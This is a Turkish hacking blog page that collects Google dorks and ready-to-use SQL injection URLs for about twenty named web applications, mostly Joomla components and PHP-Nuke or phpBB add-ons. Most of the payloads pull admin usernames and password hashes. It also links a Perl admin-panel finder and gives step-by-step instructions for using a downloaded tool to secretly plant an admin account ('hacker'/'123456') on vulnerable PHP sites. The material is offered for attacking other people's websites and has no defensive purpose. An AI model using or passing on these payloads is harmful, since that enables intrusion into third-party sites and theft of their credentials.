|Saldırı Timi| Sitemize Hoşgeldiniz

Exploit

herkesin isine yarayabilecek exploitler

————————————————
Kmita Tell Friend Açığı
Dork: “Powered by Kmita Tell Friend” veya “allinurl:/kmitat/”
Exploit: /kmitaadmin/kmitat/htmlcode.php?file=shell?
Yöntemi: Shell
Panele yönlendirir.
————————————————
View-FAQ Açığı
Dork: Google : “allinurl:viewfaqs.php?cat=”
Exploide:
/viewfaqs.php?cat=-1%20union%20select%20concat(id,0x3a,username,0x3a, password)%20from PHPAUCTIONXL_adminusers–
————————————————
Days-Booking Açığı
Dork: “allinurl:index.php?user=daysbooking”
Exploid: index.php?pid=-1%20union%20select%201,concat(id,0x3a,user,0x3a,pa ssword,0x3a,access,0x3a,email),3,4,5,6,7,8,9,0,1,2 ,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7 ,8,9,0,1,2%20from%20admin–&user=det
————————————————
Pn-Encyclopedia Açığı
Dork: allinurl:index.php?module=pnEncyclopedia
Exploide (1-2)
1- index.php?module=pnEncyclopedia&func=display_term& id=9999 union select 1,2,3,4,5,6,version(),8,9,10,11–
2- index.php?module=pnEncyclopedia&func=display_term& id=9999 union select 1,2,3,4,5,6,load_file
————————————————
ASPapp KnowledgeBase Açığı
Dork 1 – content_by_cat.asp?contentid ”catid”
Dork 2 – content_by_cat.asp? ”catid”
exploit-
content_by_cat.asp?contentid=99999999&catid=-99887766+UNION+SELECT+0,null,password,3,accessleve l,5,null,7,null,user_name+from+users
content_by_cat.asp?contentid=-99999999&catid=-99887766+union+select+0,null,password,3,accessleve l,5,null,7,8,user_name+from+users
————————————————
EmagiC CMS.Net v4.0 Açığı
Dork : inurl:emc.asp?pageid=
Exploit:
emc.asp?pageId=1′ UNION SELECT TOP 1 convert(int, password%2b’%20x’) FROM EMAGIC_LOGINS where username=”‘sa’–
————————————————
PHP-Nuke Siir Açığı
DORK 1 : allinurl:”modules.php?name”print
DORK 2 : allinurl:”modules.php?name=”Hikaye”
DORK 3: allinurl:”modules.php?name=”Fikralar”
DORK 4: allinurl:”modules.php?name=”bilgi”
EXPLOIT :
print&id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,0x3a,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202
————————————————
Rmsoft GS 2.0 Açığı
Dork: intext:Powered by RMSOFT GS 2.0 veya inurl:modules/rmgs/images.php
Exploit:
modules/rmgs/images.php?q=user&id=1999/**/union/**/all/**/select/**/1,1,concat(database(),0x202D20,user()),1,1,1,1,0,1 ,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0/*
————————————————
Com-Na-Xxx Açığı
DORK 1 : allinurl:”com_na_content”
DORK 2 : allinurl:”com_na_bible”
DORK 3 : allinurl:”com_na_events”
DORK 4 : allinurl:”com_na_content”
DORK 5 : allinurl:”com_na_feedback”
DORK 6 : allinurl:”com_na_mydocs”
DORK 7 : allinurl:”com_na_churchmap”
DORK 8 : allinurl:”com_na_bibleinfo”
DORK 9 : allinurl:”com_na_dbs”
DORK 10 : allinurl:”com_na_udm”
DORK 11 : allinurl:”com_na_qforms”
DORK 12 : allinurl:”com_na_gallery2″
DORK 13 : allinurl:”com_na_publicrss”
DORK 14 : allinurl:”index.php?kwd”
EXPLOİT:
index.php?option=com_sermon&gid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0,0,username,passwo rd%2C0%2C0%2C0/**/from/**/mos_users/*
————————————————
Com-Comments Açığı
Dork: “Review Script”, “Phil Taylor”
Exploit:
index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSW ORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+fro m+mos_content_comments+where+1=1
————————————————
Com-Astatspro Açığı
Dork: allinurl: “com_astatspro”
PoC: administrator/components/com_astatspro/refer.php?id=-1/**/union/**/select/**/0,concat(username,0x3a,password,0x3a,usertype),con cat(username,0x3a,password,0x3a,usertype)/**/from/**/jos_users/*
Gelen sayfada sağ tıkla kaynağı görüntüle.
<H1>302 Moved</H1>
The ******** has moved <A HREF=”admin:c9cb9115e90580e14a0407ed1fcf8039:Super Administrator”>here</A>.
Bu bölümde md5 saklıdır.
————————————————
Modified By Fully Açığı
DORK : allinurl :kb.php?mode=article&k
DORK : “Powered by phpBB © 2001, 2006 phpBB Group” veya “Modified by Fully Modded phpBB © 2002, 2006”
EXPLOIT :
kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(5,usernam e,char(5,user_password),4,5,6,7,8,9,10,11,12,13+ from+phpbb_users+where+user_id+=2&page_num=2&cat=1
————————————————
Easy-Clanpage v2.2 Açığı
Dork: “Easy-Clanpage v2.2″
Example -1/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7/**/from/**/ecp_user/**/where/**/userid=1/*
————————————————
BM Classifieds Açığı
Dork 1 : ”showad.php?listingid=”
Dork 2 : ”pfriendly.php?ad=”
EXPLOIT:
showad.php?listingid=xCoRpiTx&cat=-99/**/union+select/**/concat(username,0x3a,email),password,2/**/from/**/users/*
pfriendly.php?ad=-99%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0 ,1,concat(username,0x3a,email),password,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25, 26,27%2F%2A%2A%2Ffrom%2F%2A%2A%2Fusers%2F%2A%2A%2F
————————————————
Porar WebBoart Açığı
DorK : ” webboard question.asp QID”
EXPLOIT:
question.asp?QID=-1122334455%20+%20union%20+%20select%20+%200,null,2 ,username,password,5,password,7,8,9,null%20+%20fro m%20+%20+%20administrator%20′;’;
————————————————
Com-Noticias Açığı
DorK : ”com_noticias”
EXPLOIT: index.php?option=com_noticias&Itemid=xcorpitx&task =detalhe&id=-99887766/**/union/**/%20select/**/0,concat##(username,0x3a,password,0x3a,email),2,3, 4,5/**/%20from/**/%20jos_users/*
————————————————
Modules-Viso Açığı
DORKS 1 : allinurl :”modules/viso”
EXPLOIT 1 :
modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201
EXPLOIT 2 :
modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass,pass/**/from/**/exv2_users/*where%20exv2_admin%201
————————————————
Bookmarkx Script Açığı
DorK 1 : “2007 BookmarkX script”
DORK 2 : Powered by GengoliaWebStudio
DORK 3 : allinurl :”index.php?menu=showtopic”
EXPLOIT :
index.php?menu=showtopic&topicid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(auser,0x3a,apass),4,5,6/**/FROM/**/admin/*%20admin=1
veya;
index.php?menu=showtopic&topicid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(auser,0x3a,apass),4,5,6,7/**/FROM/**/admin/*%20admin=1
————————————————
Com-Profiler Açığı
DORK: allinurl:com_comprofiler
Exploit: /index.php?option=com_comprofiler&task=userProfile& user=[SQL]
Example: /index.php?option=com_comprofiler&task=userProfile& user=1/**/and/**/mid((select/**/password/**/from/**/jos_users/**/limit/**/0,1),1,1)/**/</**/Char(97)/*

(_DeLi-DiVaNe)
————————————————————————————————-

perl ile admin panelini bulma

http://www.dosya.tc/adminpanelfinder.rar.html

Buyrun buda exploit ben .pl olarak kayıt ettim

Bunu active perl programı olmadan kullanamazsınız

(LyCan QuarD)

————————————————————————————————

1.İlk önce aşağıdaki dosyayı indirin.
İNDİR (RapidShare Linki)
http://rapidshare.com/files/36662325…eLanS.rar.html
Rar Şifresi:
lamersitesi

2.Dosyayı indiridikten sonra dosyayı winrardan çıkarın ve dosyayı Not defteri ile açın, sonra içinde http://www.siteismi.com yeri var orayı hacklenecek php sitenin ismini yazın ama ! dikkat php site açığı olan siteleri hackleyebilir, ardından hiç birşeye dokunmuyoruz ve kaydediyoruz ve çıkıyoruz , sonra İnternet Explorer ile açıyoruz.Ve Sonra orada bi buton olacak “create admin” diye ona tıklıyoruz ve php siteye gizlice admin kuruyoruz. Artık siteye yeni Admin ekledik. Şimdi siteye girip Editör Girişine giriyoruz ve ADMİN ADI: hacker ŞİFRE: 123456 siteye giriş yapıyoruz. Bu kadar İşte.Sonra siz isminizi ve şifrenizi değiştirebilirsiniz…

(CerkeZ*)


 


Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Google+ fotoğrafı

Google+ hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Connecting to %s

Etiket Bulutu

%d blogcu bunu beğendi: